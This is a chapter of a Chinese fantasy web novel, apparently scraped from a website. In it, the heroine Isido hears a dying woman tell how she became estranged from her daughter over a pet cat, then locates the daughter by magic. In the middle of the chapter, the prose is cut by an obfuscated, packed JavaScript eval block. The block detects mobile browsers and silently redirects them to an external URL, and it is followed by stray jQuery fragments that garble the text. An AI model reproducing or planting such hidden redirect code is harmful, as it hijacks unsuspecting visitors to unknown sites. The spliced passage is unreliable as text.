84.第八十四章 母女的关系

作品:《勇者她

    赫伯特夫人年迈虚弱,头发花白,一股死气弥漫在她的面上,显然是大限将至,她坐在床上正在玩撕叶子的游戏。


    就是把一片叶子撕成极小的碎片,直至每一小片都无法撕到更小,才结束。这种游戏更像是小孩子们会玩的,老年人手脚眼睛都不灵活,难度极高。


    “夫人,我是一位魔剑士,叫做伊茜多,”伊茜多率先做了自我介绍,“路过此地,特来拜访贵府。”


    赫伯特老夫人咳嗽了两声,“我一个老太婆有什么好看的,你看完了可以走了。”


    说话非常的不客气。


    “每一个老人都是一本厚重的书,有太多值得看的了,”伊茜多从善如流答道,“能跟您聊一聊,也是我们年轻人的运道。”


    确实很会说话,库博在心中评价道。


    赫伯特老夫人这才有了些好颜色,咳嗽了两声,才正眼看向伊茜多和她身后的幼娜,面色微变,捂住口鼻,“怎么会有兽人?”


    “这是我的同伴,”伊茜多立马挡在幼娜身前,“我们都是冒险者,她是半兽人。”


    赫伯特夫人紧皱眉头,咳嗽接连不断,边咳边喘,“出去……走远点……”


    幼娜面露尴尬,但还是很善解人意地说道,“那我出去等候,伊茜多你和夫人好好聊聊,我就不打扰了。”


    “夫人为何如此厌恶兽人?”伊茜多有点担心幼娜,得了她“没关系”的眼神,这才看向赫伯特夫人。


    赫伯特夫人咳嗽了好一阵,才喘过气来,又喝了一碗库博先生早就备好的药,这才缓过神来,“兽人一靠近,我就被他们的气味弄得恶心喘不过气。”发自内心地感慨道,“还是人族最好。”


    “气味?”伊茜多反问道,“所有的兽人都有这样的气味吗?”


    “不止兽人,兽类都有。”赫伯特夫人答道,“我最是厌恶这些东西靠近的。”


    “难怪您从不允许我养宠物。”库博先生恍然大悟,原来是讨厌气味。


    伊茜多觉得赫伯特夫人应该不是歧视,更像是身体上的生理症状。


    “等我死了,你就可以自由养了。”赫伯特夫人非常坦然地说起“死亡”这个话题。


    库博先生神情哀伤,“母亲,您厌恶的事情,我自然同样厌恶。无论何时我都不会圈养宠物的,请您不要再说这种话了。”


    “我的儿子真孝顺,”赫伯特夫人十分欣慰地看向他,“十八岁生日想要什么礼物,妈妈给你准备。”


    库博先生苦笑两声,“母亲,我已经三十岁了。”


    赫伯特夫人茫然了一会儿,又看向伊茜多,“这个漂亮的女士,是你的妻子吗?”


    “夫人,我是冒险者剑客。”伊茜多连忙否认,看来这就是库博先生所说的“记忆时好时坏了”。


    赫伯特夫人突然暴怒,“冒险者!我生平最恨你们这些冒险者,不安于室,到处乱跑。”


    伊茜多倒吸一口冷气,突然踩到雷点。而且这“冒险者”比“兽人”更让赫伯特夫人厌恶的感觉。


    “母亲,”库博先生立马挡在她和伊茜多的中间,“我担心你无聊,这才请冒险者来给您讲故事解闷,是我的错。”


    赫伯特夫人枯槁的手指摩挲着褪色的蕾丝袖口,浑浊的瞳孔里映出伊茜多年轻的面庞,突然发出一声叹息:“孩子,你可知那些冒险者的甜言蜜语,就像裹着蜜糖的砒霜?他们最擅搅动人心,把安稳日子搅成碎渣。”


    伊茜多微微前倾,紫罗兰色的裙摆扫过雕花扶手:“夫人,若能知晓其中原委,或许我能看清这行当的真面目。” 她暗自揣测,老人眼底翻涌的恨意绝非无根之萍,那些被岁月掩埋的伤痕,此刻正顺着皱纹缓缓渗出。


    赫伯特夫人干枯的嘴唇颤抖着,往事如决堤洪水倾泻而出。先是葛朗台家的悲剧,丈夫为了虚无缥缈的魔晶远走;接着是某个收留冒险者的家庭,一夜之间分崩离析。


    当提到那个 “她” 时,老人喉间突然发出压抑的呜咽:“她本是乖巧听话,孝顺母亲的好女儿,她是我的珍珠蔷薇,是我十月怀胎的骨肉,她却背弃我离去,只是因为认识了一个冒险者。”


    众人安静倾听老妇人的言语。


    “那个不怀好意的冒险者告诉她外面的风光,挑拨她养猫逗弄。我生平最厌恶这些兽类,她却打着先斩后奏的名头,认为我会看在幼兽可怜份上,原谅她的举动……”


    伊茜多皱起了眉头,如果不是身体缘故,也许还真的能磨到那一天和平共处,可是老夫人的体质无法靠近这些生物,又岂会原谅?


    “那分明是孽畜啊,那会害了她的啊!我们多次争执,她就是不肯听我的劝送走那只孽畜,她执迷不悟啊!”


    伊茜多睫毛轻颤,注意到老人脖颈青筋暴起。她能想象到,少女带着湿漉漉的小猫闯入家门时,母亲惨白的脸色与少女倔强的眼神。可谁能想到,这只猫竟成了母女决裂的导火索?


    “然后有一天,猫死了……” 赫伯特夫人的指甲深深掐进掌心,“她指着我的鼻子,说我是杀人凶手。”


    话音未落,门外传来细微的抽气声。


    幼娜死死捂住嘴,指甲在门框上刮出细痕,恨不得冲进去质问,她才无法理解老妇人的心情,却能够代入这个女儿的视角。


    “她怨我不给猫治疗,怨我冷眼冷语……”赫伯特夫人握紧了拳头,极尽平静地去诉说那段怨言,“她怎么能恨我呢?她怎么能觉得我是故意的呢?她怜爱幼崽,难道我不爱她吗?”


    月光透过雕花窗棂,在地板上投下斑驳的影。伊茜多凝视着老人泛红的眼眶,突然意识到:这场悲剧里没有赢家。冒险者或许点燃了引线,但真正灼伤彼此的,是母女间经年累月的隔阂。


    “而造成这一切的罪魁祸首,那个冒险者却从不敢出面来见我,他只会暗地里挑拨她,鼓动她离家出走,以此给我这个老妇人一个教训。”赫伯特夫人双眼通红,恶狠狠地看向伊茜多,“你说,冒险者可恶不可恶?”


    伊茜多无法回答,哪怕没有这个冒险者,还会有新的变数来催化本就有矛盾的母女关系,一个天生身体就无法接受,一个却是真的喜爱这个小生命,不是沟通能解决的,却也不至于落到天各一方,老死不相往来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618314|162345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “那你还想再见一次你的女儿吗?”


    赫伯特夫人陷入了沉默,良久才答道,“她不愿见我。”


    库博先生立马追问道,“也就是您还是想见她的,那么母亲您手头可有克罗宁姐姐的旧物?”


    “旧物?”赫伯特夫人怔愣许久,苍老的声音像被砂纸磨过:“院子里那棵橄榄树……下面埋着她的‘孩子’。”


    三人踩着枯叶来到树下,泥土翻涌间,一块刻着 “吾女娜娜” 的木牌露出真容。幼娜蹲下身,指尖抚过凹凸不平的刻痕:“原来在她心里,这只猫真的是家人。”


    所以是杀女之仇。


    “她们的矛盾我们无法化解,”库博先生叹了口气,“但生前能少一些遗憾是一些,还请伊茜多女士施展神通,寻一寻克罗宁姐姐的位置。”


    库博沉重的叹息混着夜风消散。伊茜多闭上眼睛,魔力顺着指尖注入木牌,那些被时光尘封的记忆碎片,正在她的意识深处悄然拼凑。


    这块木牌上残留着大量的怨恨和痛苦,是一位母亲无法保护自己孩子的悲痛,对生命流逝的无法挽回,对自我无法独立的怨恨。


    克罗宁把所有的罪责推到了自己的身上,以至于无法再见赫伯特夫人,因为她不想怨这位母亲,尤其是当她也成了母亲后。


    “找到了——”伊茜多快速分辨出方位,脱口而出,“她就在王都!”


    库博脸上露出惊喜神色,“太好了,在王都哪里?”


    幼娜咬了咬唇,“竟然在王都。也就是说她可能早就看到悬赏,知道赫伯特夫人的情况,但仍然不愿意过来见面?”


    伊茜多点了点头,“她既然在王都,却过家门而不入,自然是她无法原谅自己。”


    这下就为难了,只是库博倒也有法子,反正在王都了,总能找到对方的,“接下来就不麻烦你们了,我会想办法的。”


    天色已晚,库博留她们二人住一晚上,并且给予了一袋金币作为报酬,非常丰厚,幼娜连连夸赞,“这位可以结交。”


    两人躺在草铺上,久久未曾入睡。伊茜多还好,闭目打坐冥想,幼娜是翻来覆去睡不着,想找人聊一聊。


    “伊茜多,你觉得小猫到底是怎么死的?”


    伊茜多睁开了眼睛,“你是想问是意外还是谋害?”


    夜风裹挟着潮湿的雾气钻进草棚,幼娜打了个寒颤,下意识裹紧毛毯,“如果是谋害,说明赫伯特夫人心思险恶,今日可以毒害猫,他日就能对人下手。”


    “如果是意外呢?”伊茜多反问道。


    幼娜陷入了沉默,“那只能说是兽神知道她们没有缘分,因此重新拥抱生灵了。”


    “唉,”伊茜多叹了口气,“即便是至亲,也是独立的人啊。”老夫人想强迫女儿听从,女儿想强迫母亲认同,因为血缘彼此缠绕捆绑,但人终究是独立的。


    也正因此,克罗宁才想通了,把罪责怪在了自己身上。


    远处传来犬吠,由远及近,又渐渐消散在夜色中。幼娜喃喃道,“愿一切都只是误会能够找到答案,毕竟都是妈妈啊——”